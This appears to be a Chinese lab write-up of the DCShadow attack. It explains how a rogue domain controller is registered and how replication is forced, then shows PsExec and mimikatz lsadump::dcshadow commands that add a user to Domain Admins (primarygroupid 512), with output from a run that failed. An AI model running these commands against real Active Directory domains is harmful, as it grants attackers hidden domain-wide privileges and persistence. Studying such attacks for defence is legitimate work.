具有管理员权限的攻击者创建一个恶意的域控,利用域控间正常同步数据的功能,将对象同步到恶意域控,实现域权限维权。
一、原理
活动目录是一个依赖于域控的服务,并于其他域控默认每15分钟使用运行在NTDS上名为KCC的服务进行同步。
1、在活动目录中新增域控
在活动目录中通过一些特殊的对象和一定的数据层级标识哪台机器是域控。只要使用域管权限添加一个具有nTDSDSA对象的服务器就可以了,且只能使用RPC协议不能使用LDAP协议。
2、被伪造的域控如何被正常域控认可并参与域复制
需要满足两个条件:
- 被其他服务器信任,需要拥有有效的身份凭证
- 支持身份认证,以便复制数据时其他正常域控能够连接到伪造的俄语域控上
对于第一个条件,恶意域控可以通过有效的机器账户,每个nTDSDSA对象都会通过serverReferenceBL属性链接到computer对象,还可以实现服务器在DNS环境中的自动注册。
对于第二个条件,可以在域内注册一个SPN,以此来提供身份认证,SPN至少需要以下两个:
(1)DRS 目录复制格式
DRS interface GUID/DSA GUID/domain name
其中DRS interface GUID为固定值,而DSA GUID是nTDSDSA对象的objectGUID属性的值
(2)全局编录服务GC
GC/hostname/domain name
3、强制触发域复制
windows域中自带的repadmin工具通过调用DRSReplicaAdd函数进行立刻域复制,否则就要等待15分钟同步。
二、漏洞攻击过程
1、通过DCShadow更改配置架构和注册SPN,从而实现在活动目录内注册一个伪造的恶意域控,使得其他域控认可,能进行域复制
2、在伪造的域控上更改活动目录数据
3、强制出发域复制,使得指定的对象能从恶意域控同步到正常域控
三、DCShadow攻击
域控:WIN2019-DC1 10.10.4.2
域内主机(恶意域控):10.10.4.20
普通域用户sec\hack,具有本地管理员权限
执行psexec获取一个具有system权限的cmd窗口
C:\Windows\system32>cd C:\Users\hack\Desktop\PSTools
C:\Users\hack\Desktop\PSTools>cd C:\Users\hack\Desktop\PSTools
C:\Users\hack\Desktop\PSTools>PsExec.exe -i -s cmd.exe
PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
使用mimikatz修改用户hack,启动恶意域控
mimikatz # lsadump::dcshadow /object:CN=hack,CN=Users,DC=sec,DC=local /attribute
:primarygroupid /value:512
** Domain Info **
Domain: DC=sec,DC=local
Configuration: CN=Configuration,DC=sec,DC=local
Schema: CN=Schema,CN=Configuration,DC=sec,DC=local
dsServiceName: ,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration
,DC=sec,DC=local
domainControllerFunctionality: 7 ( WIN2016 )
highestCommittedUSN: 247514
** Server Info **
Server: Win2019-DC1.sec.local
InstanceId : {8fe76a4b-bda0-498d-a879-d3ae4a03aec7}
InvocationId: {8fe76a4b-bda0-498d-a879-d3ae4a03aec7}
Fake Server (not already registered): WIN2008-1.sec.local
** Attributes checking **
#0: primarygroupid
** Objects **
#0: CN=hack,CN=Users,DC=sec,DC=local
primarygroupid (1.2.840.113556.1.4.98-90062 rev 1):
512
(00020000)
** Starting server **
> BindString[0]: ncacn_ip_tcp:Win2008-1[57392]
> RPC bind registered
> RPC Server is waiting!
== Press Control+C to stop ==
在打开第二个psexec cmd窗口,执行同步命令
mimikatz # lsadump::dcshadow /push
** Domain Info **
Domain: DC=sec,DC=local
Configuration: CN=Configuration,DC=sec,DC=local
Schema: CN=Schema,CN=Configuration,DC=sec,DC=local
dsServiceName: ,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration
,DC=sec,DC=local
domainControllerFunctionality: 7 ( WIN2016 )
highestCommittedUSN: 247689
** Server Info **
Server: Win2019-DC1.sec.local
InstanceId : {8fe76a4b-bda0-498d-a879-d3ae4a03aec7}
InvocationId: {8fe76a4b-bda0-498d-a879-d3ae4a03aec7}
Fake Server (not already registered): WIN2008-1.sec.local
** Performing Registration **
ERROR kuhl_m_lsadump_dcshadow_register_ldap ; ldap_add_s computer object 0x32 (5
0)
这里实验失败了,需要域控2016